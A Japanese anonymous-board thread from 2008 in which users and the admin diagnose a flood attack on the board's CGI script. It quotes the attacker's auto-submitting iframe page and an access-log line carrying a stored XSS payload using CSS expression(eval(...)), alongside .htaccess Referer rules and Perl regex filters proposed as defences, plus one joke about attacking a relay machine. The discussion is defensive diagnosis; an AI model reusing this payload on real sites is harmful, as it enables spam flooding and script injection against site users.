> > ごめんなさい(;´Д`)
> > 検証してませんでした
> SetEnvIf Referer ".*iframe.*" ref_ng
> order allow,deny
> allow from all
> deny from env=ref_ng
> これだとどうでしょう。。

　( )
(;'x')ﾉ 駄目ですね。

参考：2008/09/27(土)04時06分50秒

63731

> > 髑髏と血が滴ってるGIFも必要だな(;´Д`)
> ぐるぐる回るゆかりんだって必須だぜ(;´Д`)

これだな(;´Д`)
http://misao.on.arena.ne.jp/c/up/misao018480.gif

参考：2008/09/27(土)04時07分29秒

> > アクセスログのほうがいいです
> [27/Sep/2008:04:05:00 +0900] "GET /cgi-bin/bbs.cgi?mode=i&d=30&i=a&
> u=iframe+onload%3dmmm.document.forms[0]
> .v.value%3dMath.floor(Math.random()*65536);mmm.document.forms[0].submit();
> +name%3dmmm+src%3dhttp://qwerty.on.arena.ne.jp
> /cgi-binbbs.cgi&count=if(document.forms[0].d.value%3d%3d30)
> {l%3dString.fromCharCode(60);r%3dString.fromCharCode(62);
> document.getElementsByTagName(document.forms[0].i.value)
> .item(1).innerHTML%3dl%2bdocument.forms[0].u.value%2br;
> document.forms[0].d.value%3d123}&c=+style%3d
> {a:expression(eval(document.forms[0].count.value))}+%81 HTTP/1.1" 200
> 　( )
> (;'x')ﾉ こんな感じにょろ。
> 　　　　一番直近の。

.htaccesでQUERY_STRINGに"randam"があった場合弾くようにするしかないんじゃないかな(;´Д`)

参考：2008/09/27(土)04時07分39秒

15380

> > やめろ(;´Д`)そういうのだけ本当にやるから
> いやいやまっさかー(;´Д`)

貴殿はまたそうやって背中を押そうとする(;´Д`)

参考：2008/09/27(土)04時09分00秒

> ちょっと待てよ(;´Д`)GETとかPOSTで受け取った文字列のﾁｪｯｸ全然してないの？

POSTはしてるだろうけどGETのﾁｪｯｸはしてないだろ

参考：2008/09/27(土)04時08分38秒

28189

39273

19227

Perlよりむしろjavascriptに興味わいちゃうよ(;´Д`)

> > ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ
> やめろ(;´Д`)そういうのだけ本当にやるから

いやいやまっさかー(;´Д`)

参考：2008/09/27(土)04時07分19秒

13030

9392

ちょっと待てよ(;´Д`)GETとかPOSTで受け取った文字列のﾁｪｯｸ全然してないの？

26668

29494

> > これが騙りだったりな(;´Д`)
> 今i_rcにはいってるのが騙りという希望的観測もありますが
> あんな自然にはなふぐりを使うのは本人で間違いないでしょうね(;´Д`)

貴殿はジョークのわからない子だな(;´Д`)
大体えここだってえここで投稿できないからえじじでやってるんだし

参考：2008/09/27(土)04時07分22秒

> 一旦iframe内で投稿内容がｾｯﾄされた状態の画面出して、またﾘﾛｰﾄﾞかけて投稿させてるってことか(;´Д`)

すげぇｽｸﾘﾌﾟﾄだよな(;´Д`)ｵｰﾊﾞｰﾃｸﾉﾛｼﾞｰを拾っちゃったんだろうけど

参考：2008/09/27(土)04時06分07秒

47549

> あれだ(;´Д`)ちょっと全部IP見えるようにしてみて

やめて見ないでええええええ(;´Д`)いやぁあああああああああ

参考：2008/09/27(土)04時05分33秒

16052

1449

> アクセスログのほうがいいです

[27/Sep/2008:04:05:00 +0900] "GET /cgi-bin/bbs.cgi?mode=i&d=30&i=a&
u=iframe+onload%3dmmm.document.forms[0]
.v.value%3dMath.floor(Math.random()*65536);mmm.document.forms[0].submit();
+name%3dmmm+src%3dhttp://qwerty.on.arena.ne.jp
/cgi-binbbs.cgi&count=if(document.forms[0].d.value%3d%3d30)
{l%3dString.fromCharCode(60);r%3dString.fromCharCode(62);
document.getElementsByTagName(document.forms[0].i.value)
.item(1).innerHTML%3dl%2bdocument.forms[0].u.value%2br;
document.forms[0].d.value%3d123}&c=+style%3d
{a:expression(eval(document.forms[0].count.value))}+%81 HTTP/1.1" 200

　( )
(;'x')ﾉ こんな感じにょろ。
　　　　一番直近の。

参考：2008/09/27(土)04時04分42秒

30599

> > ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ
> 髑髏と血が滴ってるGIFも必要だな(;´Д`)

ぐるぐる回るゆかりんだって必須だぜ(;´Д`)

参考：2008/09/27(土)04時07分06秒

> > 漏れを弾くんだかTPOにする処理を組み込ませようとしたのは騙りだと思うようにしてたけど
> > 今日えここ！本人だと確認できた
> > 見損なったそこまでこすい人だとは思わなかった
> > とても残念です
> これが騙りだったりな(;´Д`)

今i_rcにはいってるのが騙りという希望的観測もありますが
あんな自然にはなふぐりを使うのは本人で間違いないでしょうね(;´Д`)

参考：2008/09/27(土)04時02分30秒

早起きしたヽ(´ー｀)ノ３円よこせ

> > ﾜﾗﾀどさくさに紛れて何言ってんの(;´Д`)
> ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ

やめろ(;´Д`)そういうのだけ本当にやるから

参考：2008/09/27(土)04時06分33秒

14875

頭痛いのにバファりんも何もないや(;´Д`)

32779

> > ﾜﾗﾀどさくさに紛れて何言ってんの(;´Д`)
> ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ

髑髏と血が滴ってるGIFも必要だな(;´Д`)

参考：2008/09/27(土)04時06分33秒

> > ﾜﾗﾀどさくさに紛れて何言ってんの(;´Д`)
> ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ

昔本店かどっかでやってたっけ？(;´Д`)どこだったかな

参考：2008/09/27(土)04時06分33秒

57798

> > 　( )
> > (;'x')ﾉ 効果がありませんでした。
> > 　　　　みょん。
> ごめんなさい(;´Д`)
> 検証してませんでした

SetEnvIf Referer ".*iframe.*" ref_ng
order allow,deny
allow from all
deny from env=ref_ng
これだとどうでしょう。。

参考：2008/09/27(土)04時05分13秒

38936

> perlの知識のない俺は寝るよ

ApacheとPerlの知識だな

参考：2008/09/27(土)04時06分11秒

> > こういうのを見ていると漏れもPerlとかやってみたくなる(;´Д`)
> 実は全部COBOLなんだぜ？

まじかよ(;´Д`)みうみきゅんは男子中学生なのにｺﾎﾞﾗｰだったのかよ

参考：2008/09/27(土)04時06分15秒

10834

> > あれだ(;´Д`)ちょっと全部IP見えるようにしてみて
> ﾜﾗﾀどさくさに紛れて何言ってんの(;´Д`)

ｴﾏｰｼﾞｪﾝｼｰﾓｰﾄﾞってことで背景真っ赤とか(;´Д`)遊び心が必要だよ

参考：2008/09/27(土)04時05分49秒

39106

> こういうのを見ていると漏れもPerlとかやってみたくなる(;´Д`)

実は全部COBOLなんだぜ？

参考：2008/09/27(土)04時05分32秒

48486

そうめんを茹でたよ(´ー｀)めんつゆにみょうがとねぎと梅干で食べます

perlの知識のない俺は寝るよ

一旦iframe内で投稿内容がｾｯﾄされた状態の画面出して、またﾘﾛｰﾄﾞかけて投稿させてるってことか(;´Д`)

32894

> あれだ(;´Д`)ちょっと全部IP見えるようにしてみて

ﾜﾗﾀどさくさに紛れて何言ってんの(;´Д`)

参考：2008/09/27(土)04時05分33秒

7564

42015

あれだ(;´Д`)ちょっと全部IP見えるようにしてみて

こういうのを見ていると漏れもPerlとかやってみたくなる(;´Д`)

51714

7252

> > SetEnvIf Referer ".*iframe.*" ref_ng
> > order deny,allow
> > deny from env=ref_ng
> > allow from all
> 　( )
> (;'x')ﾉ 効果がありませんでした。
> 　　　　みょん。

ごめんなさい(;´Д`)
検証してませんでした

参考：2008/09/27(土)04時04分37秒

3402

9600

> > とっとと出してください
> > 俺はチョー眠いです
> 　( )
> ( 'x')ﾉ というか、攻撃に使われているすくりぷとは、ログ見たら分かるので、
> 　　　　こんな感じになってます。
> 　　　　Webアクセスログの方がいいですか？どうにょろ？
> function post(){
> //	setTimeout("window.self.location.reload(1);post();",5000);
> }
> //-->
> </script>
> </head>
> <body bgcolor="white" onload="post()">
> <iframe name="m" src="http://qwerty.on.arena.ne.jp/cgi-bin
> /bbs.cgi?mode=i&=30&=a&=iframe+onload%3dmmm.document.forms[0]
> .v.value%3dMath.floor(Math.random()*65536);mmm.document.forms[0]
> .submit();+name%3dmmm+src
> %3dhttp://qwerty.on.arena.ne.jp/cgi-bin
> /bbs.cgi&count=if(document.forms[0].d.value%3d%3d30){l%3dString.fromCharCode(60);r%3dString.fromCharCode(62);document.getElementsByTagName(document.forms[0].i.value).item(1).
> innerHTML%3dl%2bdocument.forms[0].u.value%2br;
> document.forms[0].d.value%3d123}&c=+style%3d{a:expression(eval(document.forms[0].count.value))}+%81" width="800" height="800">aaa</iframe>
> </body>

アクセスログのほうがいいです

参考：2008/09/27(土)04時02分16秒

47628

> SetEnvIf Referer ".*iframe.*" ref_ng
> order deny,allow
> deny from env=ref_ng
> allow from all

　( )
(;'x')ﾉ 効果がありませんでした。
　　　　みょん。

参考：2008/09/27(土)03時58分44秒

33133

43561

62187

62219

63405

16335

44712

4283

16986

44296

誰かphpに書き直してくれよ(;´Д`)

56732

> 漏れを弾くんだかTPOにする処理を組み込ませようとしたのは騙りだと思うようにしてたけど
> 今日えここ！本人だと確認できた
> 見損なったそこまでこすい人だとは思わなかった
> とても残念です

これが騙りだったりな(;´Д`)

参考：2008/09/27(土)04時01分24秒

64268

> とっとと出してください
> 俺はチョー眠いです

　( )
( 'x')ﾉ というか、攻撃に使われているすくりぷとは、ログ見たら分かるので、
　　　　こんな感じになってます。
　　　　Webアクセスログの方がいいですか？どうにょろ？

function post(){
//	setTimeout("window.self.location.reload(1);post();",5000);
}
//-->
</script>
</head>
<body bgcolor="white" onload="post()">
<iframe name="m" src="http://qwerty.on.arena.ne.jp/cgi-bin
/bbs.cgi?mode=i&=30&=a&=iframe+onload%3dmmm.document.forms[0]
.v.value%3dMath.floor(Math.random()*65536);mmm.document.forms[0]
.submit();+name%3dmmm+src
%3dhttp://qwerty.on.arena.ne.jp/cgi-bin
/bbs.cgi&count=if(document.forms[0].d.value%3d%3d30){l%3dString.fromCharCode(60);r%3dString.fromCharCode(62);document.getElementsByTagName(document.forms[0].i.value).item(1).
innerHTML%3dl%2bdocument.forms[0].u.value%2br;
document.forms[0].d.value%3d123}&c=+style%3d{a:expression(eval(document.forms[0].count.value))}+%81" width="800" height="800">aaa</iframe>
</body>

参考：2008/09/27(土)03時56分20秒

53502

> 漏れを弾くんだかTPOにする処理を組み込ませようとしたのは騙りだと思うようにしてたけど
> 今日えここ！本人だと確認できた
> 見損なったそこまでこすい人だとは思わなかった
> とても残念です

ﾜﾗﾀ

参考：2008/09/27(土)04時01分24秒

30977

> > 自分で取ったﾄﾞﾒｲﾝだけど(;´Д`)
> > ｱｸｾｽ制限解除依頼したときは応じたから普通に無視されてると思う
> 小難しくてわからなかったんじゃないか(;´Д`)

よくわかんないから対策する振りして自然におさまるの待ってるんじゃなかろうか(;´Д`)

参考：2008/09/27(土)04時01分08秒

19535

14518

漏れを弾くんだかTPOにする処理を組み込ませようとしたのは騙りだと思うようにしてたけど
今日えここ！本人だと確認できた
見損なったそこまでこすい人だとは思わなかった
とても残念です

17054

6543

> > SPAM扱いされてたりしない？(;´Д`)どんなﾒｰﾙｱﾄﾞﾚｽよ
> 自分で取ったﾄﾞﾒｲﾝだけど(;´Д`)
> ｱｸｾｽ制限解除依頼したときは応じたから普通に無視されてると思う

小難しくてわからなかったんじゃないか(;´Д`)

参考：2008/09/27(土)04時00分42秒

18622

4952

> > 教えてって言ってきてるくせにﾒｰﾙ無視とかｲﾗついてきた(;´Д`)
> SPAM扱いされてたりしない？(;´Д`)どんなﾒｰﾙｱﾄﾞﾚｽよ

自分で取ったﾄﾞﾒｲﾝだけど(;´Д`)
ｱｸｾｽ制限解除依頼したときは応じたから普通に無視されてると思う

参考：2008/09/27(土)03時58分37秒

46496

49919

64718

> とりあえずこれを(;´Д`)
> http://webtech.akijapan.com/htaccess/rewrite.phtml

正規表現が入ってるからだめだな(;´Д`)

参考：2008/09/27(土)03時58分32秒

8985

練る
おやすみ

だれかｳｨｷﾍﾟﾁﾞｱに詳細よろしく

25682

49290

> > http://limechat.net/
> > http://hp.vector.co.jp/authors/VA022249/files/lime229.exe
> > kuraianto
> 誰もなにもしゃべんない(;´Д`)

#上海
こっちは流れてるな

参考：2008/09/27(土)03時59分05秒

> 宮藤のお母さんもｽｸ水なんだっけこれ(;´Д`)

ああ(;´Д`)
http://misao.on.arena.ne.jp/c/up/misao018779.jpg

参考：2008/09/27(土)03時53分55秒

46730

> > 適当なﾒｱﾄﾞがないんだよ(;´Д`)取るの面倒だし
> > つかもう寝る(;´Д`)あとは頼んだ
> 思ったんだけど夕暮れはめーるあかうんととかもなんかやっちゃえばいいんじゃないかな(;´Д`)webﾒｰﾙみたいなの

それはいいな(;´Д`)是非やってほしい

参考：2008/09/27(土)03時57分58秒

> > 適当なﾒｱﾄﾞがないんだよ(;´Д`)取るの面倒だし
> > つかもう寝る(;´Д`)あとは頼んだ
> 思ったんだけど夕暮れはめーるあかうんととかもなんかやっちゃえばいいんじゃないかな(;´Д`)webﾒｰﾙみたいなの

ﾃﾞｨｽｺスペースを確保しなくちゃな(;´Д`)俺の外付け250を送りつけるか

参考：2008/09/27(土)03時57分58秒

28927

> > i_rc.tokyo.wide.ad.jp:6667
> > !shanghai
> > 匿名チャンネルも立てたから深海さん来てください
> > ﾘﾓﾎもnickも出ません(;´Д`)
> > #上海
> > こっちは普通のﾁｬﾝﾈﾙです
> http://limechat.net/
> http://hp.vector.co.jp/authors/VA022249/files/lime229.exe
> kuraianto

誰もなにもしゃべんない(;´Д`)

参考：2008/09/27(土)03時55分09秒

39325

18713

SetEnvIf Referer ".*iframe.*" ref_ng
order deny,allow
deny from env=ref_ng
allow from all

27159

> > そのメールを深海が無視してるからこうなってるんじゃないの
> 教えてって言ってきてるくせにﾒｰﾙ無視とかｲﾗついてきた(;´Д`)

SPAM扱いされてたりしない？(;´Д`)どんなﾒｰﾙｱﾄﾞﾚｽよ

参考：2008/09/27(土)03時57分22秒

> > そのメールを深海が無視してるからこうなってるんじゃないの
> 教えてって言ってきてるくせにﾒｰﾙ無視とかｲﾗついてきた(;´Д`)

彼も広報室を更新したり忙しいんだよ(;´Д`)分かれよ

参考：2008/09/27(土)03時57分22秒

とりあえずこれを(;´Д`)
http://webtech.akijapan.com/htaccess/rewrite.phtml

61396

56353

12512

> > 深海やる気ないし埒が明かないから送ってやれよもう(;´Д`)
> 適当なﾒｱﾄﾞがないんだよ(;´Д`)取るの面倒だし
> つかもう寝る(;´Д`)あとは頼んだ

思ったんだけど夕暮れはめーるあかうんととかもなんかやっちゃえばいいんじゃないかな(;´Д`)webﾒｰﾙみたいなの

参考：2008/09/27(土)03時56分14秒

60940

54351

14821

寝るなよ(;´Д`)これからおもしろくなるぞ

> > 深海やる気ないし埒が明かないから送ってやれよもう(;´Д`)
> 適当なﾒｱﾄﾞがないんだよ(;´Д`)取るの面倒だし
> つかもう寝る(;´Д`)あとは頼んだ

貴殿もクソ野郎にされる！！(;´Д`)

参考：2008/09/27(土)03時56分14秒

> > だから深海にﾒｰﾙしてやれよ(;´Д`)何回も言わせるな
> そのメールを深海が無視してるからこうなってるんじゃないの

教えてって言ってきてるくせにﾒｰﾙ無視とかｲﾗついてきた(;´Д`)

参考：2008/09/27(土)03時56分32秒

31676

深海さん頑張ってね愛してる(;´Д`)寝る

63112

> > 小町の絵表示して描いた人の名前入力でいいよ(;´Д`)
> しんきちと青字の区別がつかなくてな(;´Д`)

乳首をつんつんしたくなるのがしんきち
すりすりしたくなるのが青字

参考：2008/09/27(土)03時55分39秒

17020

45439

> > .htaccessが一番だと(;´Д`)何回書いてるんだろう
> > つかnameを代えるって書いてるのも俺だが
> だから深海にﾒｰﾙしてやれよ(;´Д`)何回も言わせるな

そのメールを深海が無視してるからこうなってるんじゃないの

参考：2008/09/27(土)03時55分45秒

ﾊｯﾊｯﾊｯﾊｯﾊ(´ー｀)

> > http://limechat.net/
> > http://hp.vector.co.jp/authors/VA022249/files/lime229.exe
> > kuraianto
> むかしはﾁｮｺｱだったのになぁ(;´Д`)もうないの？

漏れchocoa愛用してるよ(;´Д`)

参考：2008/09/27(土)03時55分47秒

36886

> > .htaccessが一番だと(;´Д`)何回書いてるんだろう
> > つかnameを代えるって書いてるのも俺だが
> 　( )
> ( 'x')ﾉ 具体的な.htaccessの設定内容を教えてもらえませんか？
> 　　　　必要なWebアクセスログとかなら力いっぱい出します。

とっとと出してください
俺はチョー眠いです

参考：2008/09/27(土)03時55分49秒

> > .htaccessが一番だと(;´Д`)何回書いてるんだろう
> > つかnameを代えるって書いてるのも俺だが
> 深海やる気ないし埒が明かないから送ってやれよもう(;´Д`)

適当なﾒｱﾄﾞがないんだよ(;´Д`)取るの面倒だし
つかもう寝る(;´Д`)あとは頼んだ

参考：2008/09/27(土)03時55分09秒

54061

52921

> > お父さんは？(;´Д`)
> 少女だけっつってるだろ！

17歳は？(;´Д`)

参考：2008/09/27(土)03時54分57秒

> > やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
> > XSSとか言ってた人がいるけどなんか関係あんの？
> .htaccessが一番だと(;´Д`)何回書いてるんだろう
> つかnameを代えるって書いてるのも俺だが

　( )
( 'x')ﾉ 具体的な.htaccessの設定内容を教えてもらえませんか？
　　　　必要なWebアクセスログとかなら力いっぱい出します。

参考：2008/09/27(土)03時53分57秒

> > i_rc.tokyo.wide.ad.jp:6667
> > !shanghai
> > 匿名チャンネルも立てたから深海さん来てください
> > ﾘﾓﾎもnickも出ません(;´Д`)
> > #上海
> > こっちは普通のﾁｬﾝﾈﾙです
> http://limechat.net/
> http://hp.vector.co.jp/authors/VA022249/files/lime229.exe
> kuraianto

むかしはﾁｮｺｱだったのになぁ(;´Д`)もうないの？

参考：2008/09/27(土)03時55分09秒

29534

> > やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
> > XSSとか言ってた人がいるけどなんか関係あんの？
> .htaccessが一番だと(;´Д`)何回書いてるんだろう
> つかnameを代えるって書いてるのも俺だが

だから深海にﾒｰﾙしてやれよ(;´Д`)何回も言わせるな

参考：2008/09/27(土)03時53分57秒

> > あれは利便性を著しく欠くからだめだと思う
> > 既存のだと対策されてるの多いし(;´Д`)
> 小町の絵表示して描いた人の名前入力でいいよ(;´Д`)

しんきちと青字の区別がつかなくてな(;´Д`)

参考：2008/09/27(土)03時55分09秒

13925

じゃあね頑張ってね深海さん(;´Д`)寝るしみ

51764

54502

> i_rc.tokyo.wide.ad.jp:6667
> !shanghai
> 匿名チャンネルも立てたから深海さん来てください
> ﾘﾓﾎもnickも出ません(;´Д`)
> #上海
> こっちは普通のﾁｬﾝﾈﾙです

http://limechat.net/
http://hp.vector.co.jp/authors/VA022249/files/lime229.exe
kuraianto

参考：2008/09/27(土)03時51分35秒

> > 昔ｱﾘｽのとこにあった変な絵に描かれてる文字打ち込む認証ってこういう荒らしには強いな
> あれは利便性を著しく欠くからだめだと思う
> 既存のだと対策されてるの多いし(;´Д`)

小町の絵表示して描いた人の名前入力でいいよ(;´Д`)

参考：2008/09/27(土)03時54分40秒

> > やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
> > XSSとか言ってた人がいるけどなんか関係あんの？
> .htaccessが一番だと(;´Д`)何回書いてるんだろう
> つかnameを代えるって書いてるのも俺だが

深海やる気ないし埒が明かないから送ってやれよもう(;´Д`)

参考：2008/09/27(土)03時53分57秒

42921

ﾊｯｶｰの友達に頼んで踏み台のﾏｼﾝを攻撃して紫の煙を吹かせるというのはどうだろう？

> > 年齢制限がある
> > 大丈夫
> お父さんは？(;´Д`)

少女だけっつってるだろ！

参考：2008/09/27(土)03時54分33秒

54885

57600

> > あれは一番効くな(;´Д`)
> 昔ｱﾘｽのとこにあった変な絵に描かれてる文字打ち込む認証ってこういう荒らしには強いな

あれは利便性を著しく欠くからだめだと思う
既存のだと対策されてるの多いし(;´Д`)

参考：2008/09/27(土)03時53分10秒

> > 宮藤のお母さんもｽｸ水なんだっけこれ(;´Д`)
> 年齢制限がある
> 大丈夫

お父さんは？(;´Д`)

参考：2008/09/27(土)03時54分12秒

42341

53078

> 宮藤のお母さんもｽｸ水なんだっけこれ(;´Д`)

年齢制限がある
大丈夫

参考：2008/09/27(土)03時53分55秒

52372

> > QUERY_STRINGに入ってるのはjavascriptの実行後ってことか(;´Д`)
> やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
> XSSとか言ってた人がいるけどなんか関係あんの？

.htaccessが一番だと(;´Д`)何回書いてるんだろう
つかnameを代えるって書いてるのも俺だが

参考：2008/09/27(土)03時51分28秒

43982

宮藤のお母さんもｽｸ水なんだっけこれ(;´Д`)

> > あれは一番効くな(;´Д`)
> 昔ｱﾘｽのとこにあった変な絵に描かれてる文字打ち込む認証ってこういう荒らしには強いな

すげぇめんどくさくねそれ
一回入れたらしばらく持つとかならいいけど

参考：2008/09/27(土)03時53分10秒

51891

43017

たいやきもごもご

> ＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
> |はたらくしんかいさん |  たのしいばんごはん  |   けいじばんかんり  | すきるなかった |
> |　　　　　　　　　　 |   ＿__　　　　　　　 |　 _(　)　　 __＿＿　|          __　　|
> |　 ／(  )＿_　　　　　| （ ( ))　　　　　　  |  |(#'x')　 //　　/　|　  _('x' )()　 |
> |　/ ＼ /＿+ヽ　　　　|　 ||||　4　　　　　  |　|( ヽヽ＿// 　 / 　|　 //￣￣￣//　 |
> |　　  ヽ;'x')　　　　|　( 'x')ノ            |　T￣T>|￣￣|￣￣|　 |  //　　　//　　|
> |　　  (   )　　　　　|　<( : )　(;´Д`)ノ  |　     |＿＿|＿＿|　 | //＿＿＿//　　 |
> | 　     >  > 　　　　| 　ﾉ  ヽ_(ヽ   )　　  |　　　 　　　　　　　| ￣￣￣￣~　　　|
> |　　　　　　　　  　 |　　　　　　　　　　　|　　　　　　　　　　 |　　　　　　　　|
> | いっしょうけんめい　| 　ふれっしゅみーと　 |　 　 あらされた　　 |   またあした   |
>  ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

ずれてるよ

参考：2008/09/27(土)03時52分56秒

39414

> > 数字のランダム投稿だけってのがまだ救いだな(;´Д`)
> > 過去ログとかからランダムで投稿を持ってこられたら目も当てられん
> あれは一番効くな(;´Д`)

あれｽｸﾘﾌﾟﾄ出回ってるからな

参考：2008/09/27(土)03時51分56秒

64608

> > 数字のランダム投稿だけってのがまだ救いだな(;´Д`)
> > 過去ログとかからランダムで投稿を持ってこられたら目も当てられん
> あれは一番効くな(;´Д`)

昔ｱﾘｽのとこにあった変な絵に描かれてる文字打ち込む認証ってこういう荒らしには強いな

参考：2008/09/27(土)03時51分56秒

32189

＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
|はたらくしんかいさん |  たのしいばんごはん  |   けいじばんかんり  | すきるなかった |
|　　　　　　　　　　 |   ＿__　　　　　　　 |　 _(　)　　 __＿＿　|          __　　|
|　 ／(  )＿_　　　　　| （ ( ))　　　　　　  |  |(#'x')　 //　　/　|　  _('x' )()　 |
|　/ ＼ /＿+ヽ　　　　|　 ||||　4　　　　　  |　|( ヽヽ＿// 　 / 　|　 //￣￣￣//　 |
|　　  ヽ;'x')　　　　|　( 'x')ノ            |　T￣T>|￣￣|￣￣|　 |  //　　　//　　|
|　　  (   )　　　　　|　<( : )　(;´Д`)ノ  |　     |＿＿|＿＿|　 | //＿＿＿//　　 |
| 　     >  > 　　　　| 　ﾉ  ヽ_(ヽ   )　　  |　　　 　　　　　　　| ￣￣￣￣~　　　|
|　　　　　　　　  　 |　　　　　　　　　　　|　　　　　　　　　　 |　　　　　　　　|
| いっしょうけんめい　| 　ふれっしゅみーと　 |　 　 あらされた　　 |   またあした   |
 ￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣

> > 4時間ぐらいかかってﾏｲｸがﾃﾞｽｸﾄﾌﾟで使えない原因が判明した(;´Д`)
> > なぜかﾘｱﾙﾃｯｸのﾁｯﾌﾟは音声入力のPink-Inとかが音声出力側にあった(;´Д`)
> > どうりでなんべん探してもないわけだ(;´Д`)
> > 無事ﾏｲｸが使えるようになりました。使う機会ないと思うけど
> > あとﾁﾝｺﾊﾟｯﾄのVISTAの音量ｱｲｺﾝが出ない件はなんか再起動したら出てきた(;´Д`)
> > 不可解だが運用に支障がないので良しとする
> この状況でどこまで呑気なんだってｷﾓするけどL997どうよ(;´Д`)
> それとUSB-DVIさっさと買って試してみてよ

L997は最高です(*´Д`)

参考：2008/09/27(土)03時36分51秒

30751

> > QUERY_STRINGに入ってるのはjavascriptの実行後ってことか(;´Д`)
> やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
> XSSとか言ってた人がいるけどなんか関係あんの？

ﾌｫｰﾑに表示させる際にjavascript埋め込ませてる典型的なXSSじゃんこれ(;´Д`)

参考：2008/09/27(土)03時51分28秒

35846

44703

だれかRewriteRule書いて.htaccessの添付ﾒｰﾙしてやれよ(;´Д`)飛ばすのは本店か暫定で

> 深海はとりあえず荒らしのIPだけ除いた
> 完全なアクセスログを張れよ(;´Д`)

8割俺の自作自演で埋まってるのがばれるからやめろよ(;´Д`)

参考：2008/09/27(土)03時50分50秒

35023

> > それすら自動かもしれん
> つまり犯人は既に…

ｼﾞｮｼﾞｮでそんなｽﾀﾝﾄﾞ使いがいたな

参考：2008/09/27(土)03時50分31秒

> 数字のランダム投稿だけってのがまだ救いだな(;´Д`)
> 過去ログとかからランダムで投稿を持ってこられたら目も当てられん

あれは一番効くな(;´Д`)

参考：2008/09/27(土)03時47分11秒

5533

> > シングルクォートは要るね(;´Д`)それでおねがい
> 　( )
> ( 'x')ﾉ 荒らしが止まりませんでした。
> 　　　　くそう。

if($referer =~ /(iframe|random)/i){
にするとどうだよ

参考：2008/09/27(土)03時49分23秒

34659

i_rc.tokyo.wide.ad.jp:6667
!shanghai

匿名チャンネルも立てたから深海さん来てください
ﾘﾓﾎもnickも出ません(;´Д`)

#上海
こっちは普通のﾁｬﾝﾈﾙです

> 深海はとりあえず荒らしのIPだけ除いた
> 完全なアクセスログを張れよ(;´Д`)

環境変数付きでお願いします(;´Д`)ﾉ投稿時間も

参考：2008/09/27(土)03時50分50秒

13126

> > 　( )
> > ( 'x')ﾉ 荒らしが止まりませんでした。
> > 　　　　くそう。
> QUERY_STRINGに入ってるのはjavascriptの実行後ってことか(;´Д`)

やっぱformのnameを動的に変えないとだめってこと？(;´Д`)
XSSとか言ってた人がいるけどなんか関係あんの？

参考：2008/09/27(土)03時50分07秒

10785

> > ﾈﾀの使い回し速くね？とかﾚｽ付けちゃうよ
> あまり困らないかもしれないな

普通にﾈﾀが膨らんで盛り上がってな(;´Д`)
でもこのﾈﾀ前にやらなかった？ﾄﾞﾍﾟﾙ？とその内気付く

参考：2008/09/27(土)03時50分08秒

　

javascript:with(document.body)innerHTML=innerHTML.replace(/\n.font.*\n%E3%80%80.*\n%E3%80%80.*\n.*href.*\n.*href.*\n..font.\n.blockquote.\n<pre>[0-9]+\n+<.pre>\n\n<.blockquote>\n.hr.\n/g,'');focus()

56020

> > 褒めて貰いたかったAGの仕業だと仮定してみる
> > つじつまがあうから報復しようぜ(;´Д`)IIに
> 通りでさっきからII固定しか沸いてこないのか！(;ﾟДﾟ)

ここがぁぃぁぃだよ(;´Д`)ﾊﾞｶ、ｶﾊﾞ、おちちちん

参考：2008/09/27(土)03時47分53秒

48326

深海はとりあえず荒らしのIPだけ除いた
完全なアクセスログを張れよ(;´Д`)

48383

> > ﾈﾀの使い回し速くね？とかﾚｽ付けちゃうよ
> あまり困らないかもしれないな

誰も荒らしと気が付かなくてな(;´Д`)

参考：2008/09/27(土)03時50分08秒

> > 褒めて貰いたかったAGの仕業だと仮定してみる
> > つじつまがあうから報復しようぜ(;´Д`)IIに
> 通りでさっきからII固定しか沸いてこないのか！(;ﾟДﾟ)

今日IIから初めて来たんだが正直こっちの方が面白いな(;´Д`)

参考：2008/09/27(土)03時47分53秒

> > 数字のランダム投稿だけってのがまだ救いだな(;´Д`)
> > 過去ログとかからランダムで投稿を持ってこられたら目も当てられん
> 区別つかないからな(;´Д`)

俺おちちちちん！とか言われたら絶対反応しちゃうぜ？(;´Д`)

参考：2008/09/27(土)03時48分59秒

> > シングルクォートは要るね(;´Д`)それでおねがい
> 　( )
> ( 'x')ﾉ 荒らしが止まりませんでした。
> 　　　　くそう。

今の荒しのHTTPヘッダはどんな感じなのよ？(;´Д`)

参考：2008/09/27(土)03時49分23秒

> > それもｽｸﾘﾌﾟﾄで張ってるんじゃない？(;´Д`)
> それすら自動かもしれん

つまり犯人は既に…

参考：2008/09/27(土)03時49分27秒

> > 数字のランダム投稿だけってのがまだ救いだな(;´Д`)
> > 過去ログとかからランダムで投稿を持ってこられたら目も当てられん
> 区別つかないからな(;´Д`)

区別つかないなら荒らしじゃないしな(;´Д`)

参考：2008/09/27(土)03時48分59秒

20318

> > 区別つかないからな(;´Д`)
> ﾈﾀの使い回し速くね？とかﾚｽ付けちゃうよ

あまり困らないかもしれないな

参考：2008/09/27(土)03時49分25秒

> > シングルクォートは要るね(;´Д`)それでおねがい
> 　( )
> ( 'x')ﾉ 荒らしが止まりませんでした。
> 　　　　くそう。

QUERY_STRINGに入ってるのはjavascriptの実行後ってことか(;´Д`)

参考：2008/09/27(土)03時49分23秒

1606